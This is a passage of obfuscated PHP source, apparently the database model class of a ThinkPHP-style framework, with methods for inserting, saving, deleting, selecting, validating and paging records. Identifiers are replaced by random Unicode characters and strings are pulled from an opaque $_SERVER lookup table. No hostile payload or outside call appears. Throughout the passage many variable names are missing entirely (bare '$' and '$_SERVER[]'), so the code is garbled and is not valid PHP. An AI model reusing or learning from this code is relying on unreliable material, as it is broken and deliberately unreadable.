think_lang($[271]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ => $ئů) { $[$] = $this->_facade($ئů); } if (method_exists($this->db, $[272])) { $Ҫ = $this->db->insertAll($, $, $ŝ); } else { $this->startTrans(); foreach ($ as $ => $ئů) { $Ҫ = $this->db->insert($ئů, $, $ŝ); } $this->commit(); } if (!1 !== $Ҫ) { $ߢۃ = $this->getLastInsID(); if ($ߢۃ) { return $ߢۃ; } } return $Ҫ; } public function selectAdd($ɜ٘ = '', $舵 = '', $ = array()) { $ɦÕ =& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ѕ = $this->db->selectInsert($ɜ٘ ? $ɜ٘ : $[$ɦÕ[273]], $舵 ? $舵 : $this->getTableName(), $))) { $this->error = think_lang($ɦÕ[274]); return !1; } else { return $ѕ; } } public function save($ܸ = '', $ۜ = array()) { $ =& $_SERVER[]; if (empty($ܸ)) { if (!empty($this->data)) { $ܸ = $this->data; $this->data = array(); } else { $this->error = think_lang($[271]); return !1; } } $ܸ = $this->_facade($ܸ); $ۜ = $this->_parseOptions($ۜ); $ʫǷ = $this->getPk(); if (!isset($ۜ[$[275]])) { if (isset($ܸ[$ʫǷ])) { $[$ʫǷ] = $ܸ[$ʫǷ]; $ۜ[$[275]] = $; unset($ܸ[$ʫǷ]); } else { $this->error = think_lang($[274]); return !1; } } if (is_array($ۜ[$[275]]) && isset($ۜ[$[275]][$ʫǷ])) { $ = $ۜ[$[275]][$ʫǷ]; } if (!1 === $this->_beforeUpdate($ܸ, $ۜ)) { return !1; } $ԥ = $this->db->update($ܸ, $ۜ); if (!1 !== $ԥ) { if (isset($)) { $ܸ[$ʫǷ] = $; } $this->_afterUpdate($ܸ, $ۜ); } return $ԥ; } protected function _beforeUpdate(&$ʎ, $) { } protected function _afterUpdate($ߠ, $) { } public function delete($祿 = array()) { $ӌ =& $_SERVER[]; if (empty($祿) && empty($this->options[$ӌ[275]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($祿) || is_string($祿)) { if (strpos($祿, $ӌ[50])) { $[$] = array($ӌ[276], $祿); } else { $[$] = $祿; } $this->options[$ӌ[275]] = $; } $祿 = $this->_parseOptions(); if (is_array($祿[$ӌ[275]]) && isset($祿[$ӌ[275]][$])) { $۽ = $祿[$ӌ[275]][$]; } $Ť = $this->db->delete($祿); if (!1 !== $Ť) { $ = array(); if (isset($۽)) { $[$] = $۽; } $this->_after_delete($, $祿); } return $Ť; } protected function _after_delete($Ԁ, $) { } public function select($ɫŪ = array()) { $ˎ˷ =& $_SERVER[]; if (is_string($ɫŪ) || is_numeric($ɫŪ)) { $Ĉ = $this->getPk(); if (strpos($ɫŪ, $ˎ˷[50])) { $[$Ĉ] = array($ˎ˷[276], $ɫŪ); } else { $[$Ĉ] = $ɫŪ; } $this->options[$ˎ˷[275]] = $; } elseif (!1 === $ɫŪ) { $ɫŪ = $this->_parseOptions(); return $ˎ˷[277] . $this->db->buildSelectSql($ɫŪ) . $ˎ˷[278]; } $ɫŪ = $this->_parseOptions(); $Ѻ = $this->db->select($ɫŪ); if (!1 === $Ѻ) { return !1; } if (empty($Ѻ)) { return null; } $this->_afterSelect($Ѻ, $ɫŪ); return $Ѻ; } protected function _afterSelect(&$Ԉ, $) { } public function buildSql($Ě = array()) { $و =& $_SERVER[]; $Ě = $this->_parseOptions($Ě); return $و[277] . $this->db->buildSelectSql($Ě) . $و[278]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($棷͛ = array()) { $СŚ =& $_SERVER[]; if (is_array($棷͛)) { $棷͛ = array_merge($this->options, $棷͛); } $this->options = array(); if (!isset($棷͛[$СŚ[279]])) { $棷͛[$СŚ[279]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($棷͛[$СŚ[280]])) { $棷͛[$СŚ[279]] .= $СŚ[53] . $棷͛[$СŚ[280]]; } $棷͛[$СŚ[281]] = $this->name; if (isset($棷͛[$СŚ[275]]) && is_array($棷͛[$СŚ[275]]) && !empty($) && !isset($棷͛[$СŚ[282]]) && !isset($棷͛[$СŚ[279]])) { foreach ($棷͛[$СŚ[275]] as $տ => $) { $տ = trim($տ); if (in_array($տ, $, !0)) { if (is_scalar($)) { $this->_parseType($棷͛[$СŚ[275]], $տ); } } elseif (!is_numeric($տ) && $СŚ[11] != substr($տ, 0, 1) && !1 === strpos($տ, $СŚ[10]) && !1 === strpos($տ, $СŚ[260]) && !1 === strpos($տ, $СŚ[283]) && !1 === strpos($տ, $СŚ[284])) { unset($棷͛[$СŚ[275]][$տ]); } } } $this->_options_filter($棷͛); return $棷͛; } protected function _options_filter(&$₶) { } protected function _parseType(&$龛, $݂ņ) { $ =& $_SERVER[]; if (empty($this->options[$[285]][$[4] . $݂ņ])) { $ܔ = strtolower($this->fields[$[252]][$݂ņ]); if (!1 !== strpos($ܔ, $[286])) { } elseif (!1 === strpos($ܔ, $[287]) && !1 !== strpos($ܔ, $[288])) { $龛[$݂ņ] = intval($龛[$݂ņ]); } elseif (!1 !== strpos($ܔ, $[289]) || !1 !== strpos($ܔ, $[290])) { $龛[$݂ņ] = floatval($龛[$݂ņ]); } elseif (!1 !== strpos($ܔ, $[291])) { $龛[$݂ņ] = (bool) $龛[$݂ņ]; } } } public function find($ = array()) { $ =& $_SERVER[]; if (is_numeric($) || is_string($)) { $[$this->getPk()] = intval($); $this->options[$[275]] = $; } $this->options[$[292]] = 1; $ = $this->_parseOptions(); $Ԣ = $this->db->select($); if (!1 === $Ԣ) { return !1; } if (empty($Ԣ)) { return null; } $this->data = $Ԣ[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$[293]])) { return $this->returnResult($this->data, $this->options[$[293]]); } return $this->data; } protected function _afterFind(&$, $ƶ) { } protected function returnResult($ֆ, $撉 = '') { $ݜ =& $_SERVER[]; if ($撉) { if (is_callable($撉)) { return call_user_func($撉, $ֆ); } switch (strtolower($撉)) { case $ݜ[294]: return json_encode($ֆ); case $ݜ[295]: return xml_encode($ֆ); } } return $ֆ; } public function parseFieldsMap($, $ե = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($ե == 1) { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } else { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } } } return $; } public function setField($ᖥ, $ڇէ = '') { if (is_array($ᖥ)) { $Dz٭ = $ᖥ; } else { $Dz٭[$ᖥ] = $ڇէ; } return $this->save($Dz٭); } public function setAdd($, $Ǵ = 1) { $֔ =& $_SERVER[]; $ = $ . $֔[296] . $Ǵ; if ($Ǵ < 0) { $ = $ . $Ǵ; } return $this->setField($, array($֔[297], $)); } public function getField($ҝĒ, $͐ = null) { $鉦 =& $_SERVER[]; $ʤː[$鉦[273]] = $ҝĒ; $ʤː = $this->_parseOptions($ʤː); $ҝĒ = trim($ҝĒ); if (strpos($ҝĒ, $鉦[50])) { if (!isset($ʤː[$鉦[292]])) { $ʤː[$鉦[292]] = is_numeric($͐) ? $͐ : $鉦[12]; } $ = $this->db->select($ʤː); if (!empty($)) { $ = explode($鉦[50], $ҝĒ); $ҝĒ = array_keys($[0]); $ = array_shift($ҝĒ); $ȏ = array_shift($ҝĒ); $Ƭ = array(); $ = count($); foreach ($ as $˧) { $֫뉰 = $˧[$]; if (2 == $) { $Ƭ[$֫뉰] = $˧[$ȏ]; } else { $Ƭ[$֫뉰] = is_string($͐) ? implode($͐, $˧) : $˧; } } return $Ƭ; } } else { if (!0 !== $͐) { $ʤː[$鉦[292]] = is_numeric($͐) ? $͐ : 1; } if ($͐ === $鉦[255]) { unset($ʤː[$鉦[292]]); } $˧ = $this->db->select($ʤː); if (!empty($˧)) { if ($͐ === $鉦[255]) { return reset($˧[0]); } if (!0 !== $͐ && 1 == $ʤː[$鉦[292]]) { return reset($˧[0]); } foreach ($˧ as $К) { $݉[] = $К[$ҝĒ]; } return $݉; } } return null; } public function create($ = '', $ʙ = '') { $Օ =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($Օ[271]); return !1; } $ = $this->parseFieldsMap($, 0); $ʙ = $ʙ ? $ʙ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$Օ[273]])) { $ݵ = $this->options[$Օ[273]]; unset($this->options[$Օ[273]]); } elseif ($ʙ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ݵ = $this->insertFields; } elseif ($ʙ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ݵ = $this->updateFields; } if (isset($ݵ)) { if (is_string($ݵ)) { $ݵ = explode($Օ[50], $ݵ); } if (think_config($Օ[298])) { $ݵ[] = think_config($Օ[299]); } foreach ($ as $ǎ̗ => $Ǻ) { if (!in_array($ǎ̗, $ݵ)) { unset($[$ǎ̗]); } } } if (!$this->autoValidation($, $ʙ)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($Օ[300]); return !1; } if ($this->autoCheckFields) { $ݵ = $this->getDbFields(); foreach ($ as $ǎ̗ => $Ǻ) { if (!in_array($ǎ̗, $ݵ)) { unset($[$ǎ̗]); } elseif (MAGIC_QUOTES_GPC && is_string($Ǻ)) { $[$ǎ̗] = stripslashes($Ǻ); } } } $this->autoOperation($, $ʙ); $this->data = $; return $; } public function autoCheckToken($ڃ) { $Ȳ =& $_SERVER[]; if (isset($this->options[$Ȳ[301]]) && !$this->options[$Ȳ[301]]) { return !0; } if (think_config($Ȳ[298])) { $ = think_config($Ȳ[299]); if (!isset($ڃ[$]) || Session::get($)) { return !1; } list($Ӯ롂, $ߤ) = explode($Ȳ[11], $ڃ[$]); if ($ߤ && Session::get($ . $Ȳ[10] . $Ӯ롂) === $ߤ) { Session::remove($ . $Ȳ[10] . $Ӯ롂); return !0; } if (think_config($Ȳ[302])) { Session::remove($ . $Ȳ[10] . $Ӯ롂); } return !1; } return !0; } public function regex($, $ȶ) { $ =& $_SERVER[]; $č = array($[303] => $[304], $[305] => $[306], $[307] => $[308], $[309] => $[310], $[311] => $[312], $[313] => $[314], $[315] => $[316], $[290] => $[317], $[318] => $[319]); if (isset($č[strtolower($ȶ)])) { $ȶ = $č[strtolower($ȶ)]; } return preg_match($ȶ, $) === 1; } private function autoOperation(&$, $ø) { $͏ =& $_SERVER[]; if (!empty($this->options[$͏[320]])) { $ = $this->options[$͏[320]]; unset($this->options[$͏[320]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($ø == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $͏[321]: case $͏[322]: $Ҡ = isset($[4]) ? (array) $[4] : array(); if (isset($[$[0]])) { array_unshift($Ҡ, $[$[0]]); } if ($͏[321] == $[3]) { $[$[0]] = call_user_func_array($[1], $Ҡ); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $Ҡ); } break; case $͏[273]: $[$[0]] = $[$[1]]; break; case $͏[323]: if ($͏[12] === $[$[0]]) { unset($[$[0]]); } break; case $͏[324]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $; } protected function autoValidation($, $) { $֖铝 =& $_SERVER[]; if (!empty($this->options[$֖铝[325]])) { $ = $this->options[$֖铝[325]]; unset($this->options[$֖铝[325]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $τ => $) { if (empty($[5]) || $[5] == THINK_MODEL_BOTH || $[5] == $) { if (0 == strpos($[2], $֖铝[326]) && strpos($[2], $֖铝[327])) { $[2] = think_lang(substr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $֖铝[328]; switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($֖铝[12] != trim($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } break; default: if (isset($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($, $ެ) { if (!1 === $this->_validationFieldItem($, $ެ)) { if ($this->patchValidate) { $this->error[$ެ[0]] = $ެ[2]; } else { $this->error = $ެ[2]; return !1; } } return; } protected function _validationFieldItem($ۖ, $) { $ =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $[321]: case $[322]: $ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $) { $[$] = $ۖ[$]; } array_unshift($, $); } else { array_unshift($, $ۖ[$[0]]); } if ($[321] == $[4]) { return call_user_func_array($[1], $); } else { return call_user_func_array(array(&$this, $[1]), $); } case $[329]: return $ۖ[$[0]] == $ۖ[$[1]]; case $[330]: if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } $Ц = array(); if (is_array($[0])) { foreach ($[0] as $) { $Ц[$] = $ۖ[$]; } } else { $Ц[$[0]] = $ۖ[$[0]]; } if (!empty($ۖ[$this->getPk()])) { $Ц[$this->getPk()] = array($[331], $ۖ[$this->getPk()]); } if ($this->where($Ц)->find()) { return !1; } return !0; default: return $this->check($ۖ[$[0]], $[1], $[4]); } } public function check($ûȣ, $, $ط = "\x72\145\x67\x65\170") { $ =& $_SERVER[]; $ط = strtolower(trim($ط)); switch ($ط) { case $[7]: case $[332]: $ = is_array($) ? $ : explode($[50], $); return $ط == $[7] ? in_array($ûȣ, $) : !in_array($ûȣ, $); case $[333]: case $[334]: if (is_array($)) { $ۨ = $[0]; $ = $[1]; } else { list($ۨ, $) = explode($[50], $); } return $ط == $[333] ? $ûȣ >= $ۨ && $ûȣ <= $ : $ûȣ < $ۨ || $ûȣ > $; case $[335]: case $[336]: return $ط == $[335] ? $ûȣ == $ : $ûȣ != $; case $[337]: $ߤݟ = mb_strlen($ûȣ, $[338]); if (strpos($, $[50])) { list($ۨ, $) = explode($[50], $); return $ߤݟ >= $ۨ && $ߤݟ <= $; } else { return $ߤݟ == $; } case $[339]: list($ș, $) = explode($[50], $); if (!is_numeric($ș)) { $ș = strtotime($ș); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $ș && NOW_TIME <= $; case $[340]: return in_array(get_client_ip(), explode($[50], $)); case $[341]: return !in_array(get_client_ip(), explode($[50], $)); case $[328]: default: return $this->regex($ûȣ, $); } } public function query($, $ާ = false) { $ =& $_SERVER[]; if (!is_bool($ާ) && !is_array($ާ)) { $ާ = func_get_args(); array_shift($ާ); } $ = str_replace(array($[231], $[342]), $[53], $); $ = $this->parseSql($, $ާ); return $this->db->query($); } public function execute($Ӝ٣, $䴃 = false) { if (!is_bool($䴃) && !is_array($䴃)) { $䴃 = func_get_args(); array_shift($䴃); } $Ӝ٣ = $this->parseSql($Ӝ٣, $䴃); return $this->db->execute($Ӝ٣); } protected function parseSql($ܱ, $ˊ) { $ =& $_SERVER[]; if (!0 === $ˊ) { $ߟ = $this->_parseOptions(); $ܱ = $this->db->parseSql($ܱ, $ߟ); } elseif (is_array($ˊ)) { $ˊ = array_map(array($this->db, $[343]), $ˊ); $ܱ = vsprintf($ܱ, $ˊ); } else { $ܱ = strtr($ܱ, array($[344] => $this->getTableName(), $[345] => think_config($[244]))); } $this->db->setModel($this->name); return $ܱ; } public function db($ = '', $Ѐߡ = '', $͓ = array()) { $ =& $_SERVER[]; if ($[12] === $ && $this->db) { return $this->db; } static $̭ = array(); static $㠶 = array(); if (!isset($㠶[$]) || isset($㠶[$]) && $Ѐߡ && $̭[$] != $Ѐߡ) { if (!empty($Ѐߡ) && is_string($Ѐߡ) && !1 === strpos($Ѐߡ, $[8])) { $Ѐߡ = think_config($Ѐߡ); } $ = think_guid($Ѐߡ); $㠶[$] = Db::getInstance($Ѐߡ); } elseif (NULL === $Ѐߡ) { $㠶[$]->close(); unset($㠶[$]); return; } if (!empty($͓)) { if (is_string($͓)) { parse_str($͓, $͓); } foreach ($͓ as $ => $) { $this->setProperty($, $); } } $̭[$] = $Ѐߡ; $this->db = $㠶[$]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $Ĝ = get_class($this); if ($Ĝ == $_SERVER[][346]) { return $this->name; } $this->name = substr($Ĝ, 0, -5); } return $this->name; } public function getTableName() { $ܣ =& $_SERVER[]; if (empty($this->trueTableName)) { $Ɓ = !empty($this->tablePrefix) ? $this->tablePrefix : $ܣ[12]; if (!empty($this->tableName)) { $Ɓ .= $this->tableName; } else { $Ɓ .= think_parse_name($this->name); } $this->trueTableName = strtolower($Ɓ); } return (!empty($this->dbName) ? $this->dbName . $ܣ[10] : $ܣ[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $⚮ =& $_SERVER[]; return isset($this->fields[$⚮[251]]) ? $this->fields[$⚮[251]] : $this->pk; } public function getDbFields() { $Ӵ =& $_SERVER[]; if (isset($this->options[$Ӵ[279]])) { $ᅒԘ = $this->db->getFields($this->options[$Ӵ[279]]); return $ᅒԘ ? array_keys($ᅒԘ) : !1; } if ($this->fields) { $ᅒԘ = $this->fields; unset($ᅒԘ[$Ӵ[250]], $ᅒԘ[$Ӵ[251]], $ᅒԘ[$Ӵ[252]], $ᅒԘ[$Ӵ[249]]); return $ᅒԘ; } return !1; } public function data($ = '') { $Όˈ =& $_SERVER[]; if ($Όˈ[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($Όˈ[271])); } $this->data = $; return $this; } public function join($) { $Ǩ =& $_SERVER[]; if (is_array($)) { $this->options[$Ǩ[282]] = $; } elseif (!empty($)) { $this->options[$Ǩ[282]][] = $; } return $this; } public function union($ྺ, $ = false) { $ڷ =& $_SERVER[]; if (empty($ྺ)) { return $this; } if ($) { $this->options[$ڷ[347]][$ڷ[348]] = !0; } if (is_object($ྺ)) { $ྺ = get_object_vars($ྺ); } if (is_string($ྺ)) { $㸷 = $ྺ; } elseif (is_array($ྺ)) { if (isset($ྺ[0])) { $this->options[$ڷ[347]] = array_merge($this->options[$ڷ[347]], $ྺ); return $this; } else { $㸷 = $ྺ; } } else { think_exception(think_lang($ڷ[271])); } $this->options[$ڷ[347]][] = $㸷; return $this; } public function cache($ = true, $ = null, $쳈 = '') { $ =& $_SERVER[]; if (!1 !== $) { $this->options[$[349]] = array($[94] => $, $[339] => $, $[33] => $쳈); } return $this; } public function field($¢, $ = false) { $֙ =& $_SERVER[]; if (!0 === $¢) { $ = $this->getDbFields(); $¢ = $ ? $ : $֙[189]; } elseif ($) { if (is_string($¢)) { $¢ = explode($֙[50], $¢); } $ = $this->getDbFields(); $¢ = $ ? array_diff($, $¢) : $¢; } $this->options[$֙[273]] = $¢; return $this; } public function scope($Χʵ = '', $ = NULL) { $ =& $_SERVER[]; if ($[12] === $Χʵ) { if (isset($this->_scope[$[37]])) { $ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($Χʵ)) { $ص = explode($[50], $Χʵ); $ = array(); foreach ($ص as $؇) { if (!isset($this->_scope[$؇])) { continue; } $ = array_merge($, $this->_scope[$؇]); } if (!empty($) && is_array($)) { $ = array_merge($, $); } } elseif (is_array($Χʵ)) { $ = $Χʵ; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return $this; } public function where($ǡ, $Ș = null) { $ =& $_SERVER[]; if (!is_null($Ș) && is_string($ǡ)) { if (!is_array($Ș)) { $Ș = func_get_args(); array_shift($Ș); } $Ș = array_map(array($this->db, $[343]), $Ș); $ǡ = vsprintf($ǡ, $Ș); } elseif (is_object($ǡ)) { $ǡ = get_object_vars($ǡ); } elseif (is_array($ǡ)) { foreach ($ǡ as $۵ => $) { if ((is_numeric($۵) || !$۵) && is_string($)) { if (strpos($, $[350]) === 0) { continue; } think_trace($[351], $[12], $[49]); die; } } } if (is_string($ǡ) && $[12] != $ǡ) { $ = array(); $[$[352]] = $ǡ; $ǡ = $; } if (isset($this->options[$[275]])) { $this->options[$[275]] = array_merge($this->options[$[275]], $ǡ); } else { $this->options[$[275]] = $ǡ; } return $this; } public function limit($, $ = null) { $ =& $_SERVER[]; $this->options[$[292]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function page($, $ = null) { $ԅ =& $_SERVER[]; $this->options[$ԅ[353]] = is_null($) ? $ : $ . $ԅ[50] . $; return $this; } public function comment($߱) { $this->options[$_SERVER[][354]] = $߱; return $this; } public function setProperty($Ï, $) { if (property_exists($this, $Ï)) { $this->{$Ï} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\157\x64\151\146\171\x54\151\155\x65", "\x74\151\155\x65", "\151\x6e\163\145\162\x74\x2c\x75\x70\x64\x61\x74\x65", "\146\165\156\143\x74\x69\x6f\156"), array("\143\x72\145\141\164\x65\x54\x69\155\145", "\164\151\155\145", "\x69\156\x73\145\162\x74", "\146\x75\156\143\x74\x69\x6f\x6e")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ = '', $֙ = '', $ = '') { parent::__construct($, $֙, $); } protected $tableMeta = array(); protected function _beforeInsert(&$Njخ, $ȡȸ) { $Ʈ =& $_SERVER[]; if (!$this->checkDataAutoHas($Ʈ[355])) { return; } $this->dataBeforeFilter($Njخ, $Ʈ[355]); } protected function _beforeUpdate(&$, $) { $ɧ =& $_SERVER[]; if (!$this->checkDataAutoHas($ɧ[356])) { return; } $this->dataBeforeFilter($, $ɧ[356]); } protected function _afterSelect(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][357])) { return; } foreach ($ as &$ԩ) { $this->dataAfterFilter($ԩ); } unset($ԩ); } protected function _afterFind(&$, $۩) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][357])) { return; } $this->dataAfterFilter($); } public static function textEncode($⯛) { if (!$⯛) { return $⯛; } $ʼ = json_encode($⯛); $ʼ = preg_replace_callback($_SERVER[][358], function ($ϙ) { return addslashes($ϙ[0]); }, $ʼ); return json_decode($ʼ); } public static function textDecode($) { $ =& $_SERVER[]; $ = json_encode($); $ = preg_replace_callback($[359], function ($) { return $_SERVER[][97]; }, $); return json_decode($); } public function setAutoIncrement($) { $괯߂ = array($this->getPk() => $); $ = $this->data($괯߂)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $يˌ = $this->getTableName(); $ = $this->max($this->getPk()); $Љ = $this->query("\x73\x68\x6f\x77\x20\x74\141\142\154\145\40\x73\164\x61\164\165\x73\x20\167\150\145\x72\x65\x20\x4e\141\155\x65\x3d\x27{$يˌ}\47"); $ = $Љ[0][$_SERVER[][360]]; $ = max($, $); return $; } protected function _callBefore($, $헬) { return $this->cacheCallCheck($, $헬, !1); } protected function _callAfter($¦, $ٵ) { return $this->cacheCallCheck($¦, $ٵ, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($ݎ, $, $ß = false) { $ = $this->cacheFunctionAlias($); if (!$) { return; } foreach ($ as $Қɮ => $ο) { $ك = $ο[0]; $ψ = explode($_SERVER[][50], $ο[1]); if ($ݎ == $Қɮ) { return $this->cacheFunctionGet($Қɮ, $ك); } if ($ß && in_array($ݎ, $ψ)) { $this->cacheFunctionClear($Қɮ, $ك); } } } public function cacheFunctionGet($Ѡ, $ޖ) { $佧 = $this->cacheKeyMake($Ѡ, $ޖ); $ = Cache::get($佧); if (!is_array($)) { $ = call_user_func_array(array($this, $Ѡ), array($ޖ, !0)); Cache::set($佧, $); } return $; } public function cacheFunctionClear($ʨ, $蕀) { $ = $蕀; if (!is_array($蕀)) { $ = array($蕀); } foreach ($ as $) { $ = $this->cacheKeyMake($ʨ, $); Cache::remove($); } } private function cacheKeyMake($, $ۊ) { $̠ =& $_SERVER[]; return get_class($this) . $̠[11] . $ . $̠[361] . $ۊ; } protected function selectPageReset() { $ =& $_SERVER[]; if (isset($GLOBALS[$[362]])) { return; } $GLOBALS[$[362]] = isset($GLOBALS[$[7]][$[363]]) ? $GLOBALS[$[7]][$[363]] : !1; $GLOBALS[$[364]] = isset($GLOBALS[$[7]][$[353]]) ? $GLOBALS[$[7]][$[353]] : !1; $GLOBALS[$[7]][$[363]] = !1; $GLOBALS[$[7]][$[353]] = !1; } protected function selectPageRestore() { $Һ =& $_SERVER[]; if (!isset($GLOBALS[$Һ[362]])) { return; } $GLOBALS[$Һ[7]][$Һ[363]] = $GLOBALS[$Һ[362]]; $GLOBALS[$Һ[7]][$Һ[353]] = $GLOBALS[$Һ[364]]; if ($GLOBALS[$Һ[7]][$Һ[363]] === !1) { unset($GLOBALS[$Һ[7]][$Һ[363]]); } if ($GLOBALS[$Һ[7]][$Һ[353]] === !1) { unset($GLOBALS[$Һ[7]][$Һ[353]]); } unset($GLOBALS[$Һ[362]]); unset($GLOBALS[$Һ[364]]); } protected function selectPage($ = 200, $фŸ = 1) { $ =& $_SERVER[]; global $in; $ƀ = $this->optionsValue(); $֘ = 50000; $ = isset($in[$[363]]) && $in[$[363]] ? $in[$[363]] : $; if ($ === -1) { $in[$[363]] = !1; $֘ = 100000000; $ = $֘; } $ܾ = $ƀ; $ܾ[$[365]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $֘ ? $֘ : $); $фŸ = intval(isset($in[$[353]]) && $in[$[353]] ? $in[$[353]] : $фŸ); $фŸ = $фŸ <= 1 ? 1 : $фŸ; $ĸ = array(); $ = 1; if ($фŸ == 1 && $) { $this->optionsValue($ƀ); $ĸ = $this->page($фŸ, $)->select(); $ = is_array($ĸ) ? count($ĸ) : 0; if ($ < $) { $ = 1; } else { $this->optionsValue($ܾ); $ = intval($this->count()); $ = ceil($ / $); } } else { $this->optionsValue($ܾ); $ = intval($this->count()); $ = ceil($ / $); $фŸ = $фŸ >= $ ? $ : $фŸ; $this->optionsValue($ƀ); $ĸ = $this->page($фŸ, $)->select(); } if (!is_array($ĸ)) { $ĸ = array(); } if ($ == 1) { $ = count($ĸ); } $ = array($[366] => array($[367] => $, $[363] => $, $[353] => $фŸ, $[368] => $), $[369] => $ĸ); return $; } protected function checkLength($Ǚє, $ = 0, $ꋔ = '') { $ =& $_SERVER[]; $ = $ ? $ : 65536; if (!$Ǚє || strlen($Ǚє) < $) { return; } $ꋔ = $ꋔ ? $ꋔ . $[71] : $[12]; show_json($ꋔ . LNG($[370]) . "\50{$}\51", !1); } protected function metaSet($, $Ɣ = null, $ԋܧ = null) { $Ԏ =& $_SERVER[]; if (!$this->tableMeta || !$) { return !1; } $ጼ = $this->tableMeta[$Ԏ[371]]; $ = $this->tableMeta[$Ԏ[372]]; $ = Model($); $Ԭ = array($ጼ => $, $Ԏ[373] => $Ɣ); if (is_null($Ɣ)) { return $->where(array($ጼ => $))->delete(); } if (is_null($ԋܧ) && is_string($Ɣ)) { return $->where($Ԭ)->delete(); } $ۺ = is_array($Ɣ) ? $Ɣ : array(); if (is_string($Ɣ)) { $ۺ[$Ɣ] = $ԋܧ; } $舒 = array(); foreach ($ۺ as $ߨް => $) { if (is_null($) && is_string($ߨް)) { $->where(array($ጼ => $, $Ԏ[373] => $ߨް))->delete(); continue; } $this->checkLength($, !1, $ . $Ԏ[4] . $ߨް); $舒[] = array($ጼ => $, $Ԏ[94] => $ߨް, $Ԏ[374] => $); } $Ţ = $Ԏ[375] . $; CacheLock::lock($Ţ); $->where(array($ጼ => $))->addAll($舒, array(), !0); CacheLock::unlock($Ţ); return !0; } public function metaGet($©, $̲ = false) { $ =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$[371]]; $ = Model($this->tableMeta[$[372]]); if ($̲) { $ڵ = array($ => $©, $[94] => $̲); return $->where($ڵ)->getField($[374]); } $ڵ = array($ => $©); $ = $->field($[376])->where($ڵ)->select(); $ = array_to_keyvalue($, $[94], $[374]); return $; } private function checkDataAutoHas($njҨ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($njҨ, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $) { $ =& $_SERVER[]; if (!is_array($)) { return; } foreach ($this->dataAuto as $ꅶ) { $ = $ꅶ[0]; if (!in_array($, explode($[50], $ꅶ[2]))) { continue; } switch (trim($ꅶ[3])) { case $[321]: case $[322]: $ = $ꅶ[1]; $Կ = isset($ꅶ[4]) ? (array) $ꅶ[4] : array(); if ($ == $[180] && array_key_exists($, $)) { if (!$[$]) { unset($[$]); } break; } if (isset($[$])) { array_unshift($Կ, $[$]); } if ($[321] == $ꅶ[3]) { $[$] = call_user_func_array($, $Կ); } else { $[$] = call_user_func_array(array(&$this, $), $Կ); } break; case $[270]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $ꅶ[1]), array($[$])); } break; case $[273]: 